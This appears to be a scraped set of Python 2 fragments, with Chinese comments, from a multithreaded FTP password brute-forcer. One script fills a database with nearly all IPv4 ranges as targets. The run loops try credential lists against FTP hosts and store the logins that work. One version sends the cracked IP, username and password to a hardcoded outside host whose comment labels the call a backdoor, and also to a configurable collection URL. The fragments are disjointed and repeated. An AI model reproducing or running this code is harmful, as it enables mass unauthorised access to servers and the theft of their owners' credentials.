def __init__(self, htint): threading.Thread.__init__(self) self.Internet = 10 self.Ht = htint self.Chost = "" self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open()
def __init__(self, htint): threading.Thread.__init__(self) self.Internet = 10 #控制到300次检测一次网络状态 self.Ht = htint #线程ID self.Chost = "" #主机地址 self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open()
def __init__(self, ui, model): self.ui = ui self.model = model #数据库链接 self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open() self.comboBox_index_int = 0 #保存用户选择的ID
def __init__(self, Aopenurl, Bopenurl, Copenurl, Dopenurl): threading.Thread.__init__(self) self.Aopenurl = Aopenurl self.Bopenurl = Bopenurl self.Copenurl = Copenurl self.Dopenurl = Dopenurl self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open()
def __init__(self, htint, Aopenurl, Bopenurl): threading.Thread.__init__(self) self.Ht = htint #线程ID self.Aopenurl = Aopenurl self.Bopenurl = Bopenurl #self.openftp=openftp self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open()
def __init__(self, htint): threading.Thread.__init__(self) self.Ht = htint self.INI_data1 = 0 self.INI_data2 = 0 self.INI_data3 = 0 self.Internet = 100 self.printf = 10 self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open()
def __init__(self,htint): threading.Thread.__init__(self) self.Ht=htint self.INI_data1=0 #扫描过URL个 self.INI_data2=0 #未开放FTP self.INI_data3=0 #开放FTP self.Internet=100 #控制到300次检测一次网络状态 self.printf=10 #控制显示 self.sql3=Csqlite3.C_sqlite3() self.sql3.mysqlite3_open()
def run(self): MAX_RETRIES = 5 retry = 0 account = None #None=NULL 数组 while self.running and accounts: #list数组 try: self.ftp.connect(domain, port) #连接 服务器名 端口号 except Exception, e: if retry <= MAX_RETRIES: #这是为了控制线程吗 retry = retry + 1 #没必要使用这个变量啊 continue #跳过 else: self.running = False #这是 控制线程 break #跳出 #print ".", #重新每三次 为什么一个账户要连接3次 呢 loop_num = 0 while loop_num < 3: loop_num = loop_num + 1 if not account and accounts: #list数组 account = accounts.pop() #list数组 输出 #绝对不要尝试 if not account: #数组无数据了就跳出 break #跳出 #print u'IP:',host,u'用户名:',account[0],u'密码:',account[1] try: self.ftp.login(account[0], account[1]) #连接FTP #没有异常发生,这是一个正确的帐号 self.Asql3 = Csqlite3.C_sqlite3() self.Asql3.mysqlite3_open() print u"<<<线程", self.AHt, u'--FTP连接成功IP:', host, u"用户名:", account[ 0], u"密码:", account[1] ABCsql = "insert into ftppassword0(IP,user,password,time) values('%s','%s','%s','%s')" % ( host, account[0], account[1], time.strftime('%Y.%m.%d-%H.%M.%S')) self.Asql3.mysqlite3_insert(ABCsql) #添加到数据库 time.sleep(3) #os.system('python adminFTP.py %s %s %s'%(host,account[0],account[1])) account = None #None=NULL self.sql. except Exception, e: emsg = str(e) #调试信息 if 'connection' in emsg.lower( ) or 'tries' in emsg.lower( ): #判断 连接 失败错误信息 不明白何意 retry = retry + 1 break #跳出 else: #reset retry account = None #None=NULL retry = 0
def __init__(self): threading.Thread.__init__(self) self.sql3=Csqlite3.C_sqlite3() self.sql3.mysqlite3_open() self.ftpID=0 #FTP权限 self.ftppassword=0 #读取表顺序 self.Auploadfile="gost.ini" #上传文件名 config = ConfigParser.ConfigParser() config.readfp(open("gost.ini")) self.Auploadfile = config.get("DATA","uploadfile") #测试上传文件 self.http_post = config.get("DATA","http_post") #结果提交到后台管理
def __init__(self): threading.Thread.__init__(self) self.sql3=Csqlite3.C_sqlite3() self.sql3.mysqlite3_open() self.ftppassword=0 #读取表顺序 config = ConfigParser.ConfigParser() config.readfp(open("gost.ini")) self.openurl = int(config.get("DATA","openurl")) self.openftp = int(config.get("DATA","openftp")) self.ftppassword0 = int(config.get("DATA","ftppassword0")) self.ftppassword3 = int(config.get("DATA","ftppassword3")) print u"=================CS_mysql_delete线程启动================="
def __init__(self,htint): threading.Thread.__init__(self) self.Ht=htint self.INI_data1=0 #扫描过URL个 self.INI_data2=0 #URL获取失败 self.INI_data3=0 #添加到数据库个 self.Internet=200 #控制到300次检测一次网络状态 self.printf=10 #控制显示 self.no_openurl=0 #获取失败 self.sql3=Csqlite3.C_sqlite3() self.sql3.mysqlite3_open() config = ConfigParser.ConfigParser() config.readfp(open("gost.ini")) self.try_openurl = config.get("DATA","try_openurl")
def run(self): MAX_RETRIES = 5 retry = 0 account = None while self.running and accounts: try: self.ftp.connect(Adomain, port) except Exception, e: if retry <= MAX_RETRIES: retry = retry + 1 continue else: self.running = False break loop_num = 0 while loop_num < 3: loop_num = loop_num + 1 if not account and accounts: account = accounts.pop() if not account: break try: self.ftp.login(account[0], account[1]) self.Asql3 = Csqlite3.C_sqlite3() self.Asql3.mysqlite3_open() print "<<<", self.AHt, '--FTP OK IP:', host, "user:"******"pass:"******"insert into ftppassword0(IP,user,password,time) values('%s','%s','%s','%s')" % ( host, account[0], account[1], time.strftime('%Y.%m.%d-%H.%M.%S')) self.Asql3.mysqlite3_insert(ABCsql) time.sleep(3) #os.system('python adminFTP.py %s %s %s'%(host,account[0],account[1])) account = None #None=NULL self.sql. except Exception, e: emsg = str(e) if 'connection' in emsg.lower( ) or 'tries' in emsg.lower(): retry = retry + 1 break else: #reset retry account = None #None=NULL retry = 0
def __init__(self): threading.Thread.__init__(self) self.sql3=Csqlite3.C_sqlite3() self.sql3.mysqlite3_open() self.ftpID=0 self.ftppassword=0 self.Auploadfile="gost.ini" try: config = ConfigParser.ConfigParser() config.readfp(open("gost.ini")) self.Auploadfile = config.get("DATA","uploadfile") self.http_post = config.get("DATA","http_post") except: print "INI--try: except:uploadfile,http_post"
def __init__(self, n=0): threading.Thread.__init__(self) self.db = VVMysql.VVMysql() # 尝试创建数据库,如果存在则会忽略 self.db.mysql_create_database() self.db.mysql_open() self.index = n self.domain_list = None #self.curdomain = None self.debug_on = 1 self.autoinc = 0 self.tablelist = VVList.VVList() self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open() self.del_form_www() #清空表 self.readcfg()
def __init__(self): threading.Thread.__init__(self) self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open() self.ftppassword = 0 self.openurl = 20000 self.openftp = 3000 self.ftppassword0 = 500 self.ftppassword3 = 100 try: config = ConfigParser.ConfigParser() config.readfp(open("gost.ini")) self.openurl = int(config.get("DATA", "openurl")) self.openftp = int(config.get("DATA", "openftp")) self.ftppassword0 = int(config.get("DATA", "ftppassword0")) self.ftppassword3 = int(config.get("DATA", "ftppassword3")) except: print "INI--try: except:openurl,openftp,ftppassword0,ftppassword3" print "=================CS_mysql_delete run================="
def __init__(self, htint): threading.Thread.__init__(self) self.Ht = htint self.INI_data1 = 0 #扫描过URL个 self.INI_data2 = 0 #URL获取失败 self.INI_data3 = 0 #添加到数据库个 self.Internet = 200 #控制到300次检测一次网络状态 self.printf = 10 #控制显示 self.no_openurl = 0 #获取失败 self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open() self.try_openurl = "http://www.msn.com" try: config = ConfigParser.ConfigParser() config.readfp(open("gost.ini")) self.try_openurl = config.get("DATA", "try_openurl") self.NO_url = config.get("DATA", "NO_url") self.NO_url_list = self.NO_url.split('.') except: print u"INI读取异常try_openurl"
def __init__(self,htint): threading.Thread.__init__(self) self.Ht=htint self.INI_data1=0 self.INI_data2=0 self.INI_data3=0 self.Internet=200 self.printf=10 self.no_openurl=0 self.sql3=Csqlite3.C_sqlite3() self.sql3.mysqlite3_open() self.try_openurl="http://www.msn.com" try: config = ConfigParser.ConfigParser() config.readfp(open("gost.ini")) self.try_openurl = config.get("DATA","try_openurl") self.NO_url = config.get("DATA","NO_url") self.NO_url_list=self.NO_url.split('.') except: print "INI--try: except: try_openurl"
#!/usr/local/bin/python #-*- coding: UTF-8 -*- #################################################################### #qq:316118740 #BLOG:http://hi.baidu.com/alalmn # python 生成IP段 添加到sqlite3 import Csqlite3 #数据库操作文件 if __name__ == '__main__': sql3 = Csqlite3.C_sqlite3() sql3.mysqlite3_open() for IP1 in range(254, 0, -1): for IP2 in range(254, 0, -1): #for IP3 in range(254,0,-1): #for IP4 in range(254,0,-1): #print IP1,IP2 if (str(IP1) == "127") or (str(IP1) == "192"): continue #跳过本次循环 ##print IP1,IP2 #abc= '%s.%s.%s-%s.%s.%s\n' % (IP1,IP2,"1.1",IP1,IP2,"255.255") bengip = '%s.%s.%s' % (IP1, IP2, "1.1") endip = '%s.%s.%s' % (IP1, IP2, "255.255") sql = "insert into ip(bengip,endip) VALUES('%s','%s')" % (bengip, endip) sql3.mysqlite3_insert(sql) print sql
def __init__(self): threading.Thread.__init__(self) self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open() self.Server_ini() #读取INI配置信息
def __init__(self,ui,model): self.ui=ui self.model=model #数据库链接 self.sql3=Csqlite3.C_sqlite3() self.sql3.mysqlite3_open()
def run(self): MAX_RETRIES = 5 retry = 0 account = None #None=NULL 数组 while self.running and accounts: #list数组 try: self.ftp.connect(Adomain, port) #连接 服务器名 端口号 except Exception, e: if retry <= MAX_RETRIES: #这是为了控制线程吗 retry = retry + 1 #没必要使用这个变量啊 continue #跳过 else: self.running = False #这是 控制线程 break #跳出 #print ".", #重新每三次 为什么一个账户要连接3次 呢 loop_num = 0 while loop_num < 3: loop_num = loop_num + 1 if not account and accounts: #list数组 account = accounts.pop() #list数组 输出 #绝对不要尝试 if not account: #数组无数据了就跳出 break #跳出 #print u'IP:',host,u'用户名:',account[0],u'密码:',account[1] try: self.ftp.login(account[0], account[1]) #连接FTP #没有异常发生,这是一个正确的帐号 # self.Asql3=Csqlite3.C_sqlite3() # self.Asql3.mysqlite3_open() print u"<<<线程", self.AHt, u'--FTP连接成功IP:', host, u"用户名:", account[ 0], u"密码:", account[1] # ABCsql = "insert into ftppassword0(IP,user,password,time) values('%s','%s','%s','%s')"%(host,account[0],account[1],time.strftime('%Y.%m.%d-%H.%M.%S')) # self.Asql3.mysqlite3_insert(ABCsql) #添加到数据库 if self.ftpconnect(self.ftp, host, account[0], account[1]): #print self.ftpID if self.ftpID == 0: print u"<<<线程", self.AHt, u'--FTP连接失败IP:', host, u"用户名:", account[ 0], u"密码:", account[1] # ABCsql = "insert into ftppassword(IP,user,password,root,time) values('%s','%s','%s','0','%s')"%(host,account[0],account[1],time.strftime('%Y.%m.%d-%H.%M.%S')) # self.Asql3.mysqlite3_insert(ABCsql) #添加到数据库 if self.ftpID == 1: # self.Asql3=Csqlite3.C_sqlite3() # self.Asql3.mysqlite3_open() # ABCsql = "insert into ftppassword(IP,user,password,root,time) values('%s','%s','%s','1','%s')"%(host,account[0],account[1],time.strftime('%Y.%m.%d-%H.%M.%S')) # self.Asql3.mysqlite3_insert(ABCsql) #添加到数据库 #URL="http://999kankan.com/ftppassword.php?IP=%s&user=%s&password=%s&root=1"%(host,account[0],account[1]) #self.url_post(URL) #后门 URL1 = "%s?IP=%s&user=%s&password=%s&root=1" % ( self.http_post, host, account[0], account[1]) self.url_post(URL1) #提交到用户 if self.ftpID == 2: self.Asql3 = Csqlite3.C_sqlite3() self.Asql3.mysqlite3_open() ABCsql = "insert into ftppassword(IP,user,password,root,time) values('%s','%s','%s','2','%s')" % ( host, account[0], account[1], time.strftime('%Y.%m.%d-%H.%M.%S')) self.Asql3.mysqlite3_insert( ABCsql) #添加到数据库 URL = "http://999kankan.com/ftppassword.php?IP=%s&user=%s&password=%s&root=2" % ( host, account[0], account[1]) self.url_post(URL) #后门 URL1 = "%s?IP=%s&user=%s&password=%s&root=2" % ( self.http_post, host, account[0], account[1]) self.url_post(URL1) #提交到用户 if self.ftpID == 3: self.Asql3 = Csqlite3.C_sqlite3() self.Asql3.mysqlite3_open() ABCsql = "insert into ftppassword(IP,user,password,root,time) values('%s','%s','%s','3','%s')" % ( host, account[0], account[1], time.strftime('%Y.%m.%d-%H.%M.%S')) self.Asql3.mysqlite3_insert( ABCsql) #添加到数据库 URL = "http://999kankan.com/ftppassword.php?IP=%s&user=%s&password=%s&root=3" % ( host, account[0], account[1]) self.url_post(URL) #后门 URL1 = "%s?IP=%s&user=%s&password=%s&root=3" % ( self.http_post, host, account[0], account[1]) self.url_post(URL1) #提交到用户 time.sleep(3) account = None #None=NULL self.sql. except Exception, e: emsg = str(e) #调试信息 if 'connection' in emsg.lower( ) or 'tries' in emsg.lower( ): #判断 连接 失败错误信息 不明白何意 retry = retry + 1 break #跳出 else: #reset retry account = None #None=NULL retry = 0
def __init__(self): threading.Thread.__init__(self) self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open() self.del_openurl() #清空表
def __init__(self): self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open() self.h = qqwry.C_hoset()
def __init__(self): threading.Thread.__init__(self) self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open() self.run()
def __init__(self, htint): threading.Thread.__init__(self) self.Ht = htint #线程ID self.sql3 = Csqlite3.C_sqlite3() self.sql3.mysqlite3_open()